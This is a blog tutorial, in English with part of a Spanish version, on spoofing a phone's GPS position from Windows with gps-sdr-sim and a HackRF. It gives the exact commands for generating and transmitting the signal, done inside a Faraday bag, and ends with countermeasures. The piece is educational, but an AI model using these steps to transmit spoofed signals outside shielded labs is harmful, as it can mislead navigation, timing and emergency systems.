The Global Positioning System (GPS) is increasingly used for a wide variety of critical applications and services. These include maritime and air navigation, time synchronization for the utilities, telecommunications, banking and computer industries but also many public safety services such as police, fire, and to an even greater extent emergency, rescue, rescue and ambulance services.</div>
<div class="separator" style="clear: both;">
Please, let us be aware of that criticality and let us all be responsible and show the utmost respect for it.</div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
<br /></div>
<h3 style="clear: both;">What are we going to use?? (Hardware and software)</h3>
</div>
<h4>
Software</h4>
<div>
The main "magic" we are going to count on for this entry is the <a href="https://github.com/osqzss/gps-sdr-sim" target="_blank"><b>GPS-SDR-SIM</b></a> software, it is a creation of <a href="https://twitter.com/osqzss" target="_blank">Takuji Ebinuma</a> from Japan and it is a software that generates data streams in the GPS utilization band that can then be converted to RF using software defined radio devices (SDR), such as ADALM-Pluto, BladeRF, HackRF and USRP.<br />
<br />
The complete project is in the GitHub of it (hyperlinked above) and the only additional thing we will need to do is to compile it with VisualStudio to be able to use it in Windows (it doesn't require much difficulty, however I will show you the process step by step).<br />
<br />
In order to generate the necessary signal, the software requires a GPS satellite constellation through a GPS emission ephemeris file.<br />
The daily GPS broadcast ephemeris file (<b>brdc</b>) is a fusion of the navigation files of individual sites into a single file; this type of file is necessary to generate the mentioned pseudorange and the simulated Doppler for the GPS satellites on view. This simulated range data is then used to generate the digitized I/Q samples for the GPS signal to be broadcast from HackRF.<br />
Where can I get these GPS ephemeris files? NASA helps us with this and offers them to us almost daily at <a href="ftp://cddis.gsfc.nasa.gov/gnss/data/daily/">ftp://cddis.gsfc.nasa.gov/gnss/data/daily/</a> (at least until October 2020, when we will need to register).<br />
<br />
Finally we only need the program to communicate from our Windows computer with the HackRF device and transmit the generated file and we will do it with <b><i>hackrf_transfer.exe</i></b> which we can compile by ourselves or download the executable already compiled from the <a href="https://github.com/pothosware/PothosCore/wiki/Downloads#windows-installer" target="_blank">Pothosware github</a>.<br />
<br />
<br /></div>
<h4>
Hardware</h4>
<div>
As emitters of our supplanted GPS signal we will use in HackRF (in the pictures) with the PortaPack on, but it is in conventional operation mode because, due to the preparation of the laboratory, I will not be able to access its screen or controls during the process).<br />
<br />
As a receiving device of the GPS signal I'm going to use an Android device, specifically a Nexus 5 which is my "gadget mate" for various tests and experiments.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6TEQLbJM1UlbhgNdPGd1Fd2qiDuySFMCC07SHfK-wkhxpQ746nJjl5B0lQoAY4on_KZJZH-93KOctdDJNe2Yd8WU1QeN929PJDpLFtHJb32bypKvydTvyRruBSpxBrcf02wAE6M3_cEc/s1600/IMG_5056.HEIC" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6TEQLbJM1UlbhgNdPGd1Fd2qiDuySFMCC07SHfK-wkhxpQ746nJjl5B0lQoAY4on_KZJZH-93KOctdDJNe2Yd8WU1QeN929PJDpLFtHJb32bypKvydTvyRruBSpxBrcf02wAE6M3_cEc/s400/IMG_5056.HEIC" width="400" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
In addition, and although more than hardware, it could be considered a "test scenario" as a means of legal compliance for the reasons set out in the previous section and not to infringe the regulations or emit any signal into the radio public domain, it is necessary to use a Faraday box or bag that totally isolates our devices.<br />
<br />
In my case I have chosen a bag of expertise that will block the external RF electromagnetic waves and redirect them along the surface of the case itself and acting in the same way on the inside, where we will have our HackRF emitter as well as our Android phone as a receiver thus ensuring that we do not infringe any legal norm in this matter. </div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKCgLN1Vi89kqGqjeLlW76F-2yLSia5ttU7ly5PP31LoQZ4KzuxhARLUbReV0oojJUTmksynR5rDtV23C7CW1HV4XsGYg30zoP00d6bRnhmb2_9SfDkR6T38XQds7VUv1sk9QTsDzZCq0/s1600/IMG_5047.HEIC" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKCgLN1Vi89kqGqjeLlW76F-2yLSia5ttU7ly5PP31LoQZ4KzuxhARLUbReV0oojJUTmksynR5rDtV23C7CW1HV4XsGYg30zoP00d6bRnhmb2_9SfDkR6T38XQds7VUv1sk9QTsDzZCq0/s200/IMG_5047.HEIC" width="150" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4cCPNGEYd3F-fqmWrNr71CInAL7MHweVPUnwJtxNZvTEdJlQT0JRxrG5wyexQ6h2AjzDlBBAGHXPiAEVZI3VM2ISTntBvVlNX1L8qVZXt4uGE_4igIoRWt5MnjgvJgjIE6arZA8ow9YY/s1600/IMG_5058.HEIC" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4cCPNGEYd3F-fqmWrNr71CInAL7MHweVPUnwJtxNZvTEdJlQT0JRxrG5wyexQ6h2AjzDlBBAGHXPiAEVZI3VM2ISTntBvVlNX1L8qVZXt4uGE_4igIoRWt5MnjgvJgjIE6arZA8ow9YY/s200/IMG_5058.HEIC" width="200" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
We only have to be careful before closing the bag completely to leave out the USB connection cables to our computer to command the HackRF and display the Android phone on our computer screen (in my case I used the <a href="https://github.com/Genymobile/scrcpy" target="_blank">SCRCPY</a> solution).</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0oPjhxNWOUjB7N5g56kQ6KLlz2CCpjQ3MRbewRyJ_wicI6ijApYKMMYt5T5QOGi6etlVyokYmFPrHv0yhaw9cBmyi4kzobvjci5n5o6gZBKrKACPaVDf9Ta9t_j0deE7PGaINga_6RV4/s1600/IMG_5061.HEIC" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0oPjhxNWOUjB7N5g56kQ6KLlz2CCpjQ3MRbewRyJ_wicI6ijApYKMMYt5T5QOGi6etlVyokYmFPrHv0yhaw9cBmyi4kzobvjci5n5o6gZBKrKACPaVDf9Ta9t_j0deE7PGaINga_6RV4/s320/IMG_5061.HEIC" width="320" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<h3>
Compiling GPS-SDR-SIM</h3>
</div>
<div>
Once the project is downloaded and extracted to a folder we open Visual Studio and from the initial tasks menu we create a new empty project and then select the option "<i>Console application</i>".<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgei9HwBDdDwpE0FJ8SFZsLAA1pbXnpefqSPXrTmrASpxIyBxMmhJmou00aQ9rimK0KBdUlMRLaUySffAdW5EQtmSOPN7-qCJLUrUWSGAlfCGtFRU0pzA-SL_kswsFYilCXRhO1-FMMQ0o/s1600/vs01.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="930" data-original-width="1268" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgei9HwBDdDwpE0FJ8SFZsLAA1pbXnpefqSPXrTmrASpxIyBxMmhJmou00aQ9rimK0KBdUlMRLaUySffAdW5EQtmSOPN7-qCJLUrUWSGAlfCGtFRU0pzA-SL_kswsFYilCXRhO1-FMMQ0o/s1600/vs01.png" /></a></div>
<br />
<br />
Once the empty project is opened and we see the Visual Studio interface, we must add the files <i><b>gpssim.c</b></i> and <b><i>getopt.c</i></b> to the "Source files" folder that the solution explorer shows us on the right margin.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjF9YE0oBCW8_8uHPXFzYg5HP4rzjlc-_gqum1qUj0WInHunWddk3z5u_QTHfB5WkzbaV9tcgDocAwEJ4-ndwlYa1EHE3uG3thV9yGGe3PfCmVDNfq6kBcFMbmbQW97DKHn1WaVxSbklrs/s1600/vs02.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="701" data-original-width="1219" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjF9YE0oBCW8_8uHPXFzYg5HP4rzjlc-_gqum1qUj0WInHunWddk3z5u_QTHfB5WkzbaV9tcgDocAwEJ4-ndwlYa1EHE3uG3thV9yGGe3PfCmVDNfq6kBcFMbmbQW97DKHn1WaVxSbklrs/s1600/vs02.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<br />
Expand the upper options menu of Visual Studio to select "Release" and proceed to compile from the Compile option of the upper options menu.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBaFKziD6ECFjGME_MApwvaI8AC3DcYmRmknXh8WWh1VMlFmU3osRKr-QFSKMIjBD_N1cMA0kr5CuX9B-VlmlEa9Rp_3Tw2AeajtSaAz_naGppN4gnl-bqOCHrIFEknCWbHkGlHM4wZAU/s1600/vs03.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="439" data-original-width="1279" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBaFKziD6ECFjGME_MApwvaI8AC3DcYmRmknXh8WWh1VMlFmU3osRKr-QFSKMIjBD_N1cMA0kr5CuX9B-VlmlEa9Rp_3Tw2AeajtSaAz_naGppN4gnl-bqOCHrIFEknCWbHkGlHM4wZAU/s1600/vs03.png" /></a></div>
<br />
<br />
As a result we will get the executable with the name we have given it in the project (in my case GPS.exe showing off my great creativity...) and some more objects that we must keep in the same folder. To try it out we just have to run from the command line with, for example, the <span face="" style="font-family: "courier new", courier, monospace;"><b>-h</b></span> option to see the program's help.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQbfGFeq6D1RGg-eg73z0Xv5Wp_IZ69Q3hhrB38WacdpqpxSQYKqJhy2BY4Fl2eoUxea_BoFD2XRFVeNiho-sdqDkafTOONM7jZlru19JMxrjpSsWj9sRbhWjidrMRMkhfOsCxYzkZiFY/s1600/vs04.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="315" data-original-width="916" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQbfGFeq6D1RGg-eg73z0Xv5Wp_IZ69Q3hhrB38WacdpqpxSQYKqJhy2BY4Fl2eoUxea_BoFD2XRFVeNiho-sdqDkafTOONM7jZlru19JMxrjpSsWj9sRbhWjidrMRMkhfOsCxYzkZiFY/s1600/vs04.png" /></a></div>
<br />
<br />
Ready! Now we can forget about the compilation and focus on the interesting part of the project!<br />
<br />
<br />
<div>
<h3>
Creating the signal and broadcasting it with HackRF</h3>
As we have mentioned in the software requirements section, something essential that we need is the GPS emission ephemeris file (brdc), for this we only need to access the ftp served by NASA and once inside selected the year, then we go to the "<i>brdc</i>" folder and choose one of the most updated files available (there are several files for each day).<br />
<br />
<div style="font-family: "times new roman";">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigzfqZNiRwTF1ECaNrw506VNz0HBvZ7lHQCdSRVqhSdHmgExM803LGcv2hIRs-Am6W14puXrcq5Thr50E6G9j8PDvaXoWJ76ItSBWnzot7gmah1NVf_MkYCRrM1HgFdLWndWgWlYznZYU/s1600/nasa.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1110" data-original-width="1305" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigzfqZNiRwTF1ECaNrw506VNz0HBvZ7lHQCdSRVqhSdHmgExM803LGcv2hIRs-Am6W14puXrcq5Thr50E6G9j8PDvaXoWJ76ItSBWnzot7gmah1NVf_MkYCRrM1HgFdLWndWgWlYznZYU/s1600/nasa.png" /></a></div>
<br /></div>
<div style="font-family: "times new roman";">
<br /></div>
<div>
Now that we have everything ready, we just need to decide where we want the GPS device to believe it is, so... Where do you want to travel? I personally feel like going back to the south of Spain on vacation, so let's generate the pseudorange file with the following command:<br />
<div style="text-align: center;">
<span face="" style="font-family: "courier new", courier, monospace;"><b>gps.exe -b 8 -e brdc1470.20n -l 36.276173,-6.087545</b></span><span face="" style="font-family: "times new roman"; font-weight: 400;"> </span></div>
<div style="color: black; font-size: medium; font-style: normal; letter-spacing: normal; text-align: left; text-transform: none; white-space: normal; word-spacing: 0px;">
<span face="" style="font-family: "times new roman"; font-weight: 400;"><br /></span></div>
Where with the option <span face="" style="font-family: "courier new", courier, monospace;"><b>-b</b></span> we indicate the format in bits of the resulting I/Q, with <span face="" style="font-family: "courier new", courier, monospace;"><b>-e</b></span> the brdc ephemeris file we just downloaded and with <span face="" style="font-family: "courier new", courier, monospace;"><b>-l </b></span>the exact static coordinates we want to emulate. Press enter and let it work.</div>
<div style="font-family: "times new roman";">
<br /></div>
<div style="font-family: "times new roman";">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ_BBPyc0_50Wb7Qg8Xu03q294IPKouhyphenhyphenE0HRd-U_IPngr-ujWOF4NAZcOpYYlBBhpE5WHn1syMZY5fngS-fUYRy-tKJYmTATA9R0YLdUWr03OOL1dIi7Zy3EL8p7Xr43tCDdxLudvsvw/s1600/bincration01.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="271" data-original-width="823" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ_BBPyc0_50Wb7Qg8Xu03q294IPKouhyphenhyphenE0HRd-U_IPngr-ujWOF4NAZcOpYYlBBhpE5WHn1syMZY5fngS-fUYRy-tKJYmTATA9R0YLdUWr03OOL1dIi7Zy3EL8p7Xr43tCDdxLudvsvw/s1600/bincration01.png" /></a></div>
<br /></div>
<div style="font-family: "times new roman";">
<br /></div>
Once the process is finished we will see how a file with extension <b><i>.bin</i></b> with name <b><i>gpssim</i></b> has appeared in the folder (unless we have used the option <span face="" style="font-family: "courier new", courier, monospace;"><b>-o</b></span> in the previous step and we have specified another file name).<br />
<br />
<div>
<div class="separator" style="clear: both;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkuipYk5fp5CWvMWWusroJsv_DlBn7n_TNcK9HXGhFm2epINVKWLPCSLpkE_KR-Buru4joFwIbrLQ0hwy3KnjfKqSQBE7O4jG4z86K47pEh-ANsZQ425WpCxXzvIpIXT8y0xUHDxHO5vg/s1600/bincration02.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="89" data-original-width="773" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkuipYk5fp5CWvMWWusroJsv_DlBn7n_TNcK9HXGhFm2epINVKWLPCSLpkE_KR-Buru4joFwIbrLQ0hwy3KnjfKqSQBE7O4jG4z86K47pEh-ANsZQ425WpCxXzvIpIXT8y0xUHDxHO5vg/s1600/bincration02.png" /></a></div>
<div style="font-family: "times new roman";">
<br /></div>
</div>
<div style="font-family: "times new roman";">
<br /></div>
<div style="font-family: "times new roman";">
<br /></div>
<div>
Now we only need to take the last step: connect the HackRF to our computer and send it the generated file! To do this we will use the <i>hackrf_transfer</i> tool commented in the sections above and the syntax to be used will be<br />
<div style="text-align: center;">
<span face="" style="font-family: "courier new", courier, monospace;"><b>hackrf_transfer.exe -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 0</b></span></div>
<div style="font-family: "times new roman"; text-align: center;">
<br /></div>
Where <span face="" style="font-family: "courier new", courier, monospace;"><b>-t</b></span> must be the .bin file that we have just generated with gps-sdr-sim, <span face="" style="font-family: "courier new", courier, monospace;"><b>-f</b></span> is the frequency in Hz of the emission (we have to adjust it 1.575Ghz which is the frequency of use of the GPS) as well as <span face="" style="font-family: "courier new", courier, monospace;"><b>-s</b></span> to adjust the sample rate and <span face="" style="font-family: "courier new", courier, monospace;"><b>-a</b></span> to a value of <i>1</i> to activate the RX/TX amplifier of the HackRF and with <span face="" style="font-family: "courier new", courier, monospace;"><b>-x</b></span> we will be able to adjust the TX VGA gain from 0 to 47 dB (to me personally the best result has always been to leave it at zero).<br />
<br /></div>
<div style="font-family: "times new roman";">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_727aZQgTnkKRgHkqVRbHNwIJWw_toAPUIwVF0Zqria2pN_W5PkDdEHUHAq-mH2_h7AzxzWP9uL5EO-z5neCUXYC77b4IW8amefCvcCVXrpJznyY1HQw3nbxZUM-5-6caP6fr1j5Ipw8/s1600/transfer01.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="195" data-original-width="854" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_727aZQgTnkKRgHkqVRbHNwIJWw_toAPUIwVF0Zqria2pN_W5PkDdEHUHAq-mH2_h7AzxzWP9uL5EO-z5neCUXYC77b4IW8amefCvcCVXrpJznyY1HQw3nbxZUM-5-6caP6fr1j5Ipw8/s1600/transfer01.png" /></a></div>
<br /></div>
<div style="font-family: "times new roman";">
<br /></div>
<div>
Now we only have to wait patiently for some seconds/minutes, I like to monitor the GPS activity with a supplementary application and when she indicates me that she has already taken the necessary satellites and gives me the coordinates I check it using google maps.<br />
As I said before at this point is just a matter of patience to check later how from Madrid we have "teleported" to Conil De La Frontera!<br />
<div class="separator" style="clear: both; font-family: "times new roman";">
<br /></div>
<div style="font-family: "times new roman"; text-align: center;">
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/WWLaz4Im3Zs/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/WWLaz4Im3Zs?feature=player_embedded" width="320"></iframe></div>
<br /></div>
</div>
<div style="font-family: "times new roman";">
<br /></div>
<div style="font-family: "times new roman";">
<br /></div>
<div>
How about we generate another file and cross the puddle this time? "Traveling" has never been so convenient, fast and economical! ;-)<br />
<div style="font-family: "times new roman";">
<br /></div>
<div class="separator" style="clear: both; font-family: "times new roman"; text-align: center;">
<br /><iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/CtAImawUQ6Q/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/CtAImawUQ6Q?feature=player_embedded" width="320"></iframe></div>
<div style="font-family: "times new roman";">
<br /></div>
</div>
<div style="font-family: "times new roman";">
<br /></div>
From here the limit is imagination... and the globe logically!<br />
Besides being able to define static locations in exact coordinates, gps-sdr-sim can also generate dynamic files, so we can pass as an argument a file with a path defined by ourselves either in a CSV file containing the positions we want centered on the Earth (<a href="https://en.wikipedia.org/wiki/ECEF" target="_blank">ECEF</a>), or in a <a href="https://en.wikipedia.org/wiki/NMEA_0183" target="_blank">NMEA GGA</a> trace file (there are simulators to generate the specific file with the path we want as for example <a href="http://www.atlsoft.de/gps-simulator/" target="_blank">this one from ATLsoft</a>).<br />
<br />
<div style="font-family: "times new roman";">
<br /></div>
<div style="font-family: "times new roman";">
<h3>
Possible countermeasures </h3>
</div>
As you can see, it has been relatively easy to create a fraudulent GPS signal and confuse the devices with it, the system is vulnerable and nowadays, except for military communications and some very specific ones that are encrypted, all can be affected by this type of threat.<br />
<br />
Of all the possible software solutions for the mitigation of these threats of which I have been able to investigate something and I find them interesting, they go through a system of monitoring and early detection of sudden changes in signal strength, and a monitoring of time jumps in the reception of traces and their analysis to determine their plausibility/viability.<br />
<br />
Very interesting is a hardware solution that I have found from the manufacturer Microchip, it is<br />
<a href="https://www.microsemi.com/product-directory/gps-instruments/4398-bluesky-gps-firewall" target="_blank">BlueSky GNSS Firewall </a>and is nothing more and nothing less than a firewall that serves to protect all those infrastructures that may depend on the GPS system. To achieve this, all the GPS signal data received is evaluated and checked in parallel with/from each satellite to ensure compliance, in addition to a parallel analysis of the characteristics of the signal received to detect any anomalies in it. It is a very interesting device that I recommend you to take a look at.</div>
</div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDuOI2wJt35NUynTCHef_PfgJdDSGgb64hebmCJxj5vbHvSN5ibDEKr9IJ0m9rniMDy2yGehZ5_WF1FOyAojV0gmg2r1ndXwu6dhPPoP6f42FEOrtdJi3kPvtiwEftrMeiq8tXxjSl84o/s1600/Deployment_Diagram.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="545" data-original-width="739" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDuOI2wJt35NUynTCHef_PfgJdDSGgb64hebmCJxj5vbHvSN5ibDEKr9IJ0m9rniMDy2yGehZ5_WF1FOyAojV0gmg2r1ndXwu6dhPPoP6f42FEOrtdJi3kPvtiwEftrMeiq8tXxjSl84o/s1600/Deployment_Diagram.png" /></a></div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
Well, this is it! I hope that the article was not too heavy and you liked it, as always THANK YOU VERY MUCH for the visit and for your time in reading it!<br />
<br />
See you next time! Greetings!</div>
Hacker de Cabecerahttp://www.blogger.com/profile/04109447777461913594noreply@blogger.com0tag:blogger.com,1999:blog-7944950214559293430.post-72555766001401867102020-05-10T18:01:00.000+02:002020-06-16T09:55:15.969+02:00GPS Spoofing con HackRF desde entornos WindowsHola a todos!! Supongo que no podía dejar de escribir una entrada en este confinamiento por culpa del maldito Covid-19, y llevaba tiempo queriendo compartir con vosotros uno de esos "cacharreos" relacionado con el mundo de la radio y las señales que tanto me apasionan: el GPS.<br />
<br />
<div>
El GPS algo que todo el mundo usamos en mayor o menor medida casi a diario, en parte potenciado por su uso en smartphones, smartwatches, sistemas de navegación de los automóviles, etc... pero que, yo personalmente, tardé bastante en aprender como funciona.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRMR8_4AciR5VVgYd3Gc4k1PvxOrSpcFBNeomrioCa2NoKWLYd9ScprmTf4jEn3NwZGSzQs6G5Yo6qy-_aFb2tJwoHRWDcT7E2RWG9u6DjGOBsyI4w0OoyiqoNeDcd16xzp1oAxtiE6V4/s1600/27853.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="743" data-original-width="990" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRMR8_4AciR5VVgYd3Gc4k1PvxOrSpcFBNeomrioCa2NoKWLYd9ScprmTf4jEn3NwZGSzQs6G5Yo6qy-_aFb2tJwoHRWDcT7E2RWG9u6DjGOBsyI4w0OoyiqoNeDcd16xzp1oAxtiE6V4/s400/27853.jpg" width="400" /></a></div>
<br />
<h3>
<a name='more'></a>Funcionamiento del GPS</h3>
</div>
<div>
GPS son las siglas de <b>Global Positioning System</b> y lleva ya varios años entre nosotros, se trata de un sistema de radio-navegación basado en satélites desarrollado por el Departamento de Defensa de Estados Unidos después de la II Guerra Mundial y su finalidad es determinar en toda la Tierra la posición de cualquier objeto (una persona, un vehículo, etc...) con una diferentes niveles de precisión/error dependiendo de las versiones y tipo de sistemas utilizados.<br /><br />Funciona mediante una red de al menos 24 satélites orbitando alrededor de la tierra con altitudes aproximadas a los 20.000Kms y con unas órbitas distribuidas en 6 planos orbitales distintos y con unas inclinaciones del régimen de 55º respecto al plano ecuatorial terrestre.<br /><br />La finalidad de esta configuración es la de que en cualquier punto de la superficie de la tierra (y cualquier altitud) siempre existan como mínimo 4 satélites visibles por encima del horizonte (OTH - Over The Horizon).</div>
<div>
<span style="color: #202122; font-family: sans-serif; font-size: 14px;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/TXpTWsi2qSg/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/TXpTWsi2qSg?feature=player_embedded" width="320"></iframe></div>
<div>
<span style="color: #202122; font-family: sans-serif; font-size: 14px;"><br /></span></div>
<div>
<span style="color: #202122; font-family: sans-serif; font-size: 14px;"><br /></span></div>
<div>
<span style="color: #202122; font-family: sans-serif; font-size: 14px;">El funcionamiento de los sistemas GPS y su infraestructura se basa en varios componentes o segmentos: el primero es el "segmento <b>espacial</b>" que acabamos de ver en los párrafos anteriores, y a la vez en otros dos segmentos más que son </span><span style="color: #202122; font-family: sans-serif;"><span style="font-size: 14px;">el de <b>control </b>y el de <b>usuario</b>.</span></span><br />
<span style="color: #202122; font-family: sans-serif;"><span style="font-size: 14px;"><br /></span></span>
<span style="color: #202122; font-family: sans-serif;"><span style="font-size: 14px;">El componentes de control de basa en 5 estaciones de rastreo terrestres distribuidas por todo el globo y conectadas a una estación de control central denominada <b>MCS </b>(Master Control Station). La misión de este componente es la de rastrear los satélites calibrando y sincronizando sus relojes, así como actualizando sus posiciones orbitales.</span></span><br />
<span style="color: #202122; font-family: sans-serif;"><span style="font-size: 14px;"><br /></span></span>
<span style="color: #202122; font-family: sans-serif;"><span style="font-size: 14px;">El componente de usuario es el último eslabón de la cadena y es, básicamente, el dispositivo GPS que usamos para ubicarnos en el globo, ya sea un reloj, un móvil, un handheld GPS, navegador para el coche, posicionamiento de barcos y aviones, etc...</span></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIv4RqaJmpECW-SKJaR5si_beydZ12blz8Efs6YIkKiBfRUV13pNKWmxMjrMlP97OyTy6UElDo26by5MnN809FA_sSpSb8lwOooKXYGHqsyGinH3_lwpxxOx46QzUQ3rlCrm9cjO_IFxo/s1600/segmentsGPS.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="455" data-original-width="1028" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIv4RqaJmpECW-SKJaR5si_beydZ12blz8Efs6YIkKiBfRUV13pNKWmxMjrMlP97OyTy6UElDo26by5MnN809FA_sSpSb8lwOooKXYGHqsyGinH3_lwpxxOx46QzUQ3rlCrm9cjO_IFxo/s1600/segmentsGPS.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
¿En que consiste el "GPS Spoofing" de manera objetiva? Básicamente en emitir vía radio aquellas coordenadas GPS "falsas" que nosotros deseemos (sean cualesquiera que sean) para suplantar las señales reales. Para lograrlo dependeremos lógicamente de la potencia de emisión y/o la cercanía al receptor comprendido en el segmento de usuario indicado anteriormente para hacer que los mismos tomen nuestras señal modificada obviando la genuina y, por tanto ubique en la posición y/o trayecto/itinerario que nosotros deseemos.<br />
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<h3 style="clear: both; text-align: left;">
<u><span style="color: red;">
MUY IMPORTANTE!!!</span></u> Antes de seguir leyendo...</h3>
<div class="separator" style="clear: both; text-align: left;">
Llegados a este punto y antes de continuar, me vais a permitir poneros un disclaimer <b>MUY IMPORTANTE</b> y que debemos de tener claro en todo momento: <u><b>la emisión de cualquier tipo de señal de radio en cualquier escenario o circunstancia donde no se tenga una autorización legal previa y explicita para hacerlo, esta</b><span style="color: red;"> <b>totalmente prohibido y es constitutivo de delito y penado por la ley.</b></span></u></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
El objetivo de este articulo así como las técnicas en él mostradas tienen como única finalidad la divulgación tecnológica y para ello, como se verá más adelante en el articulo, en todo momento se han adoptado las soluciones, medios y medidas necesarias para no realizar emisión pública alguna al dominio público radioeléctrico (o espacio radioeléctrico).</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both;">
El Sistema de Posicionamiento Global (GPS) se está utilizando cada vez más para una gran variedad de aplicaciones y servicios críticos. Entre ellos figuran la navegación marítima y aérea, la sincronizacion horaria para las industrias de servicios públicos, telecomunicaciones, banca e informática pero también muchos servicios de seguridad pública como policía, bomberos, y aún en mayor medida servicios de emergencia, rescate, salvamento y ambulancias.</div>
<div class="separator" style="clear: both;">
Por favor, tomemos conciencia de su criticidad y seamos todos responsables y mostremos el máximo respeto hacia ello.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<h3 style="clear: both; text-align: left;">
Que vamos a utilizar?? (Hardware y software)</h3>
</div>
<h4>
Software</h4>
<div>
La principal "magia" con la que vamos a contar para esta entrada reside en el software <a href="https://github.com/osqzss/gps-sdr-sim" target="_blank"><b>GPS-SDR-SIM</b></a>, es una creación de <a href="https://twitter.com/osqzss" target="_blank">Takuji Ebinuma</a> desde Japón y es un software que genera trazas de datos en la banda de utilización de GPS que después se pueden convertir a RF utilizando plataformas de radio definidas por software (SDR), como ADALM-Pluto, BladeRF, HackRF y USRP.</div>
<div>
El programa completo esta en su GitHub (arriba hipervinculado) y lo único adicional que necesitaremos hacer será compilarlo con VisualStudio (no requiere mayor dificultad, no obstante os mostraré el proceso paso a paso).</div>
<div>
<br /></div>
<div>
Para poder generar la señal necesaria, el software requiere de una constelación de satélites GPS a través de un archivo de efemérides de emisión GPS.</div>
<div>
